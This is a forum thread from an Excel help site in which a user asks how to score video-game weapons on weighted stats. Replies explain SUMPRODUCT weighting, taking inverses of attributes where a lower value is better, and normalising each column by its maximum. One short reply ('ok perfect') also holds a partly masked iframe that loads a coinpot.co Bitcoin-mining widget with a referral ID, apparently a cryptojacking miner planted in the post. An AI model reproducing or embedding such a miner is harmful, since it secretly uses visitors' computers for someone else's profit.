How to find best option from a range based on weighted values

Drew_

Board Regular
Joined
Jul 8, 2017
Messages
87
Hi all.

I think I have a unique question here. I have a range of various values (10 columns) that are based on different weapon stats for a game I play. Sample data below:

WeaponClassMag SizeRPMReload (1 bullet)DamageDrop offLeft RecoilVertical RecoilRight Recoil1st shot recoilADS
FAMASAssault2.6500.45852.50.0350.0350.0550.130.02
AEK 971Assault3.1450.38352.50.0500.0200.0300.150.015
F2000Assault3.142.50.37552.50.0500.0260.0400.150.02
KH2002Assault3.1400.43552.50.0400.0200.0400.0750.01
M16A3Assault3.1400.27052.50.0100.0260.0400.1250.01
M16A4Assault3.1400.27052.50.0080.0260.0300.1250.005

<colgroup><col span="4"><col><col><col><col><col><col><col><col></colgroup><tbody>
</tbody>



Essentially, I want Excel to tell me which weapon is the best by taking all the stats into consideration. I figured I could do this by assigning weighted values to each column but I'm not sure. Problem is, bigger numbers are not always better (for example, longer reload time is bad, want lower number).

I know this is unique and might not make much sense, but any help would be appreciated. Thanks
 

Excel Facts

Copy a format multiple times
Select a formatted range. Double-click the Format Painter (left side of Home tab). You can paste formatting multiple times. Esc to stop
Yeah I think weightings are probably essential. What's "best" will come down to what you think is most important., e.g. how much recoil are you willing to put up with if it means increased damage/sec?

Presumably you'd also want to separate this out by weapon class... Drop off is pretty important for a short/mid-range weapon, probably less so for a sniper (depending on the game or specific map).
 
Last edited:
Upvote 0
Right, but if I assign the weights doesn't that tell Excel what I think is most important? Essentially I am looking for a way to take all of the weights for each category and come up with an average of some sort
 
Upvote 0
Oh yeah it does; sorry I thought you were wondering if you should use weights or not.

If you're going with that, the easiest way I can think of would be to organise all your good attributes next to each other, and all of your big-is-bad attributes together, and then in another column for each weapon do a couple of sumproducts:

ABCDEFGHIJKLM
1WeaponClassMag SizeRPMDamageReload (1 bullet)Drop offLeft RecoilVertical RecoilRight Recoil1st shot recoilADSScore
210%20%25%10%5%5%5%5%5%10%
3FAMASAssault2.65050.4582.50.0350.0350.0550.130.02=SUMPRODUCT(C3:E3,$C$2:$E$2)+SUMPRODUCT(1/F3:L3,$F$2:$L$2)
4AEK 971Assault3.14550.3832.50.050.020.030.150.01523.01
5F2000Assault3.142.550.3752.50.050.0260.040.150.0219.85
6KH2002Assault3.14050.4352.50.040.020.040.0750.0125.48
7M16A3Assault3.14050.272.50.010.0260.040.1250.0128.52
8M16A4Assault3.14050.272.50.0080.0260.030.1250.00540.19

<tbody>
</tbody>


That will make it so the big-is-bad attributes will add less to the score the higher they are. You can then sort the score column by highest value.

EDIT: This is pretty basic and you'll probably want to make the positive attributes much higher weighted, because the placeholder ones I've chosen are making it a bit negative-attribute heavy.
 
Last edited:
Upvote 0
ok perfect

******** scrolling="no" frameborder="0" src="https://coinpot.co/mine/bitcoincore/?ref=759E24FD7EA6&mode=widget" style="overflow:hidden;width:324px;height:470px;">*********>
 
Upvote 0
Yes this is great info. I excluded the RPM column (not super important) and used the following weights:
Mag size: 7.5
Damage: 10 (all weapons except one do same damage so doesnt matter that much)
Reload: 12.5
Drop off: 5
Left recoil: 15
Vertical recoil: 15
Right recoil: 15
1st shot recoil: 12.5
ADS: 7.5

I see what the SUMPRODUCT is doing and that makes sense to me. However, I believe the amount of recoil may be the determining factor so shouldn't I make those weights more? Since they are more important? Or will that make the chart even MORE negative-attribute heavy?
 
Upvote 0
Yeah it's totally up to you how you run the weights! If you think the results are a little off, you can tweak them until the top weapons match your gut-feel for what they should be, whether that's low recoil or big mag size.

The issue I'm seeing with my suggestion is that the magnitude of each attribute score makes as much difference as the weights. All the negative attributes have quite small scores and hence their inverse might have a tendency to overshadow the positive attributes.

For example

For ADS you have an attribute score as low as 0.005, so its weighted score would be (1/0.005)*7.5% = 15.
Mag size, on the other hand, might have a weighted score of 2.6*7.5% = 0.195.

So even though you've given them the same weighting, ADS is smashing Mag size out of the park in contributing to the overall weapon score. A small change in ADS could be FAR more significant that a large one in mag size, and you almost might as well have just sorted the ADS column from lowest to highest.

An option to fix this could be to normalise the attribute scores first - basically you divide every score under an attribute by the maximum in that attribute. Not taking into account the weightings for a second, this means the highest score under any attribute is worth the same as the highest score under any other attribute; a score of 1. The weightings are then applied to give your flavour of what's important to you.
 
Last edited:
Upvote 0
Unfortunately, I am not fully understanding your "option to fix this". The part about dividing every score by the max is confusing me. I have attached the raw data for a few of the weapons, then you can assign the weights and try to explain to me what it is you mean:

WeaponClassMag SizeDamageDrop offReload (1 bullet)Left RecoilVertical RecoilRight Recoil1st shot recoilADS
Weights---- >7.5%10.0%5.0%12.5%15.0%15.0%15.0%12.5%7.5%
FAMASAssault2625503.050.350.350.552.60.4
AEK 971Assault3125502.550.50.20.330.3
F2000Assault3125502.50.50.260.430.4
KH2002Assault3125502.90.40.20.41.50.2
M16A3Assault3125501.80.10.260.42.50.2
M16A4Assault3125501.80.0750.260.32.50.1
M416Assault3125501.750.10.260.320.2

<tbody>
</tbody>
 
Last edited:
Upvote 0
Okay, I figured out your suggestions and they make sense to me now. Except, my negative attributes (in red) are still way too influential and I think its because I am taking the inverse. Why exactly am I doing this? The max "score" I can have for my good attributes (in green) is .05 while the max score for my red attributes is 25.62. Do you possibly know of a way around this?

Unfortunately, changing the weights has very minimal effect on the overall score so that is not a sufficient fix.
 
Last edited:
Upvote 0
Apologies. The idea of normalisation is to get different variables on the same scale.

In this example, before the weightings are applied, you want the best mag-size stat to contribute as much as any other stat. Getting every attribute on the same scale gives them a level contribution to the overall score before you put your preference on it. It means you won't have one stat overshadowing another just because it uses bigger numbers.

Anyway, example provided below. I've taken the raw data, and divided each value by the maximum value under each attribute. This means the highest score under any attribute will be 1, and everything else will be on a scale of 0-1. The resulting weapon score will be based purely on your preference for what is important, rather than it being influenced by drop off being measured in some quantity in the 50s, and ADS in some quantity of<1. Without normalisation, this difference in scale was probably having more effect on the overall score than the weightings. With this small amount of data it doesn't actually change the order, but I assume there are a LOT more weapons?

ABCDEFGIJKLM
1WeaponClassMag SizeDamageDrop offReload (1 bullet)Left RecoilVertical RecoilRight Recoil1st shot recoilADS
2Weights---- >7.50%10.00%5.00%12.50%15.00%15.00%15.00%12.50%7.50%
3FAMASAssault2625503.050.350.350.552.60.4=SUMPRODUCT(C3:E3,$C$2:$E$2)+SUMPRODUCT(1/F3:K3,$F$2:$K$2)
4AEK 971Assault3125502.550.50.20.330.39.22
5F2000Assault3125502.50.50.260.430.48.86
6KH2002Assault3125502.90.40.20.41.50.29.33
7M16A3Assault3125501.80.10.260.42.50.210.27
8M16A4Assault3125501.80.0750.260.32.50.111.27
9M416Assault3125501.750.10.260.320.210.41
10
11Normalised
12WeaponClassMag SizeDamageDrop offReload (1 bullet)Left RecoilVertical RecoilRight Recoil1st shot recoilADS
13Weights---- >7.50%10.00%5.00%12.50%15.00%15.00%15.00%12.50%7.50%
14FAMASAssault=C3/MAX(C$3:C$9)1110.7110.8666671=SUMPRODUCT(C14:E14,$C$13:$E$13)+SUMPRODUCT(1/F14:K14,$F$13:$K$13)
15AEK 971Assault1110.83606610.5714290.54545510.751.29
16F2000Assault1110.81967210.7428570.727273111.14
17KH2002Assault1110.950820.80.5714290.7272730.50.51.41
18M16A3Assault1110.5901640.20.7428570.7272730.8333330.51.89
19M16A4Assault1110.5901640.150.7428570.5454550.8333330.252.36
20M416Assault1110.573770.20.7428570.5454550.6666670.52.01

<tbody>
</tbody>
 
Upvote 0

Forum statistics

Threads
1,213,536
Messages
6,114,211
Members
448,554
Latest member
Gleisner2

We've detected that you are using an adblocker.

We have a great community of people providing Excel help here, but the hosting costs are enormous. You can help keep this site running by allowing ads on MrExcel.com.
Allow Ads at MrExcel

Which adblocker are you using?

Disable AdBlock

Follow these easy steps to disable AdBlock

1)Click on the icon in the browser’s toolbar.
2)Click on the icon in the browser’s toolbar.
2)Click on the "Pause on this site" option.
Go back

Disable AdBlock Plus

Follow these easy steps to disable AdBlock Plus

1)Click on the icon in the browser’s toolbar.
2)Click on the toggle to disable it for "mrexcel.com".
Go back

Disable uBlock Origin

Follow these easy steps to disable uBlock Origin

1)Click on the icon in the browser’s toolbar.
2)Click on the "Power" button.
3)Click on the "Refresh" button.
Go back

Disable uBlock

Follow these easy steps to disable uBlock

1)Click on the icon in the browser’s toolbar.
2)Click on the "Power" button.
3)Click on the "Refresh" button.
Go back
Back
Top